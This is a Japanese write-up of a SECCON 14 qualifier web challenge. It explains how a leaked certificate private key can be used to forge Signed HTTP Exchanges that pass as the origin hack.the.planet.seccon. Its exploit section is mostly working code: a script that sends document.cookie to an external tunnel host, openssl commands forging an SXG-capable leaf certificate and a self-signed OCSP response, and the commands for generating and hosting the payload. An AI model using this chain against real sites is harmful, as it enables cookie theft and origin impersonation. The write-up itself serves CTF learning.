前置き
先日SECCON 14予選に若者の会というチームで出て(人数がおらず二人でした)、Web問題の最初を一問解いたのでクリスマスプレゼントとして解説記事を上げたいと思います。
AIに頼りまくって解いたので、きちんと理解するためにも記事を書きたいと思い書きました。
問題
偵察
アプリを触っての解説
問題のURLやdockerで立ち上げたアプリにアクセスすると、以下のようになる

コードでの偵察
フォルダ構造は以下のようになっている
ejsやjs、dockerファイルの他に、cert.crtとcert.keyが置かれていることが少し気になる
index.jsを見ると、/と/hintでそれぞれテンプレートを呼び出している
また/api/reportへのPOSTメソッドで指定されたurlに対してvisit関数を呼び出している。
visit関数を見るためにconf.jsを追うと、hack.the.planet.secconにてflagがcookieの値として出力される。
ではhack.the.planet.secconに対してXSSやcsrfの脆弱性を突けばいいと考えるが、実際にそのドメインにアクセスすることはできない。(ドメインが実在しないか、普通の環境では名前解決できないようになっている)
またhint.ejsをみるとindex.jsからcert.keyが渡されているのが分かる。
このcert.keyはローカルではダミーだが、実際のURLにアクセスすると本来のcert.keyが手に入る。
つまりこれはアプリのcert.keyが露出してしまったことを想定した問題となっていることがわかる。
ここで先程のドメインにアクセスする必要があったことを思い出すと、実際にアクセスできなくともcert.keyを用いて署名を行うことによって、実際にそのドメインでなくともそのドメインとやり取りしているように偽造することができる。
Signed HTTP Exchanges (SXG)という技術を用いることで、正しい証明書で証明されていれば配信元がどこであってもそのOriginとして扱うことができるという技術です。
逆に言えば、漏洩した秘密鍵を使って証明書作り、正当な署名をすれば同Originとして扱うことができるので、SOPを回避して攻撃ができるようになってしまいます。
このSigned HTTP Exchanges (SXG) を利用して問題を解いていく
SXGとは
以下のURLより https://web.dev/articles/signed-exchanges?hl=ja署名付きエクスチェンジ(SXG)は、リソースの配信方法に関係なくリソースの送信元を認証できる配信メカニズムです。SXG を実装すると、プライバシーを保護するクロスオリジン プリフェッチを有効にして、Largest Contentful Paint(LCP)を改善できます。また、この分離により、オフライン インターネット エクスペリエンスやサードパーティ キャッシュからのサービングなど、さまざまなユースケースが進歩します。
とある。つまり本来は署名によってリソースの配信元を管理できる便利なものであったが、秘密鍵が露呈すると
エクスプロイト作成
前提:実際の秘密鍵はリモートのhintページにアクセスして検証ツールから取得しておく。
改めてゴールは
Signed HTTP Exchanges (SXG) を悪用して、Bot(Puppeteer)に「偽のオリジン(hack.the.planet.seccon)」として認識させ、そのドメインにセットされた Cookie (FLAG) を奪取する。
手順
- SXGに必要なツールのインストールと準備
- 攻撃ペイロードを作成
- 証明書とSXGの生成
- ホスティング
- ホスティングしたURLを送信
1.
念の為、秘密鍵と公開鍵をコピーしておきます
cp ../bot/cert.crt ca.crt
cp ../bot/cert.key ca.key
また必要なツールをインストール
go install github.com/google/webpackager/cmd/gen-signedexchange@latest
2. 攻撃ペイロードの作成
以下のようなFlagを送信するHTMLを作成。
<script>
// fetchではなく、画面遷移でFlagを持ち出す
location.href =
"https://controlling-hawk-daniel-jazz.trycloudflare.com/?flag=" +
encodeURIComponent(document.cookie);
</script>
以下のコードで必要なヘッダを返す状態でサーバーを立ち上げる。
import http.server
import socketserver
import os
PORT = 8000
class SXGRequestHandler(http.server.SimpleHTTPRequestHandler):
def end_headers(self):
# SXGファイルのヘッダ
if self.path.endswith('.sxg'):
self.send_header('Content-Type', 'application/signed-exchange;v=b3')
self.send_header('X-Content-Type-Options', 'nosniff')
# 証明書(CBOR)のヘッダ (必須)
elif self.path.endswith('.cbor'):
self.send_header('Content-Type', 'application/cert-chain+cbor')
super().end_headers()
# 拡張子のマッピングを念のため追加
http.server.SimpleHTTPRequestHandler.extensions_map['.sxg'] = 'application/signed-exchange;v=b3'
http.server.SimpleHTTPRequestHandler.extensions_map['.cbor'] = 'application/cert-chain+cbor'
print(f"Serving exploit/ directory on port {PORT}...")
# カレントディレクトリを web root にする
with socketserver.TCPServer(("", PORT), SXGRequestHandler) as httpd:
httpd.serve_forever()
3.証明書とSXGの生成
最初は先程のツールだけ使ったシンプルな方法で生成しようとしたが、SXG独自の様々なセキュリティ機構があって阻まれたため、いくつか手順が追加されている。
gen-signedexchange \
-uri https://target.com/ \
-content payload.html \
-certificate cert.pem \
-privateKey priv.key \
-date 2024-01-01T00:00:00Z \
-o exploit.sxg
3-1:用途制限のチェック回避
「この証明書は何に使っていい鍵なのか?」という拡張フィールド(Extension)を厳密にチェックします。 通常のWebサーバー用証明書には「サーバー認証(TLS通信)」の権限はありますが、「SXGファイルへの署名」という強力な権限は付与されていません。
ブラウザは、証明書に 1.3.6.1.4.1.11129.2.1.22 (CanSignHttpExchanges) という特殊なタグが付いているか確認します。
よってそのタグをつけることで「私はSXGに署名して良い権限を持っています」と明記された証明書(Leaf)を偽造します。
まず、Web用証明書 (Leaf) を作成するための設定ファイルを作成。
cat <<EOF > leaf.cnf
[ req ]
prompt = no
distinguished_name = dn
[ dn ]
CN = hack.the.planet.seccon
[ v3_leaf ]
authorityKeyIdentifier = keyid,issuer
subjectKeyIdentifier = hash
basicConstraints = CA:FALSE
keyUsage = digitalSignature, keyEncipherment
subjectAltName = @alt_names
1.3.6.1.4.1.11129.2.1.22 = ASN1:NULL
[ alt_names ]
DNS.1 = hack.the.planet.seccon
EOF
先程の設定ファイルを元にopensslコマンドでLeaf証明書を発行
openssl ecparam -name prime256v1 -genkey -out leaf.key
openssl req -new -key leaf.key -out leaf.csr -config leaf.cnf
openssl x509 -req -sha256 -in leaf.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out leaf.crt -days 90 -extfile leaf.cnf -extensions v3_leaf
3-2:失効確認のバイパス
SXGファイルの中に、7日以内に発行された『有効です』という証明書(OCSPレスポンス)が同梱されていなければ、無効とみなす」という厳しいルール(OCSP Stapling必須化)を設けている。
「現時刻において、この証明書は間違いなく有効ですよ」という保証書(OCSPレスポンス)を自分で作成・署名し、それをSXGファイルの中に埋め込む。
まずは先程同様設定ファイルを作成する。
cat <<EOF > ocsp.cnf
[ req ]
prompt = no
distinguished_name = dn
[ dn ]
CN = OCSP Responder
[ v3_ocsp ]
basicConstraints = CA:FALSE
keyUsage = digitalSignature
extendedKeyUsage = OCSPSigning
EOF
設定ファイルを元に、OCSP署名用証明書を作成
openssl ecparam -name prime256v1 -genkey -out ocsp.key
openssl req -new -key ocsp.key -out ocsp.csr -config ocsp.cnf
openssl x509 -req -sha256 -in ocsp.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out ocsp.crt -days 90 -extfile ocsp.cnf -extensions v3_ocsp
3-3:フォーマットの変換
SXGはWebのパフォーマンスを重視する規格である。そのため、証明書チェーンの読み込みにおいて、従来のテキストベース(PEM)ではなく、CBOR というバイナリ形式を使う。
OCSPレスポンス(ocsp.der)を生成するための「ダミーの認証局(CA)データベース」 を作成
SERIAL=$(openssl x509 -in leaf.crt -serial -noout | cut -d= -f2 | tr '[:lower:]' '[:upper:]')
printf "V\t350101000000Z\t\t%s\tunknown\t/CN=hack.the.planet.seccon\n" "$SERIAL" > index.txt
ocspレスポンスの生成
openssl ocsp -issuer ca.crt -cert leaf.crt -reqout req.der -no_nonce -text
openssl ocsp -index index.txt \
-rsigner ocsp.crt -rkey ocsp.key \
-CA ca.crt \
-reqin req.der \
-respout ocsp.der \
-ndays 7
CBORの生成
cat leaf.crt ca.crt > fullchain.pem
~/go/bin/gen-certurl -pem fullchain.pem -ocsp ocsp.der > cert.cbor
最終的なsxgの生成。
TARGET_URI="https://hack.the.planet.seccon"
YOUR_CF_URL="https://controlling-hawk-daniel-jazz.trycloudflare.com/"
~/go/bin/gen-signedexchange \
-uri "$TARGET_URI" \
-content exploit.html \
-certificate fullchain.pem \
-privateKey leaf.key \
-certUrl "$YOUR_CF_URL/cert.cbor" \
-validityUrl "$TARGET_URI/resource.validity.msg" \
-o exploit.sxg
4. ホスティング
先程のsxgやcborをserver.pyと同じ場所に含めた上で
cloudflareトンネリングなどでサーバーをホスティング。
python3 ./server.py
別のターミナルで
cloudflared tunnel --url http://localhost:8000
5.ホスティングしたURLを送信
でてきたcloudflaredtunnnelのURLの後に/exploit.sxgを指定して、元のアプリに送信するとserver.pyのログにflagが出力された。
まとめ
攻撃方法自体は非常にシンプルでしたが、SXGの仕様による部分が複雑で、AIを使ってもかなり時間がかかってしまいました。
自分から仕様書を見つけてぶん投げるとこまでは良かったですが、AIが中々解決できていない部分は自分で調べて教えたほうが早くできたと反省しています。
SXGって何から始まったので、新しい知識をインプットできてよかったです。


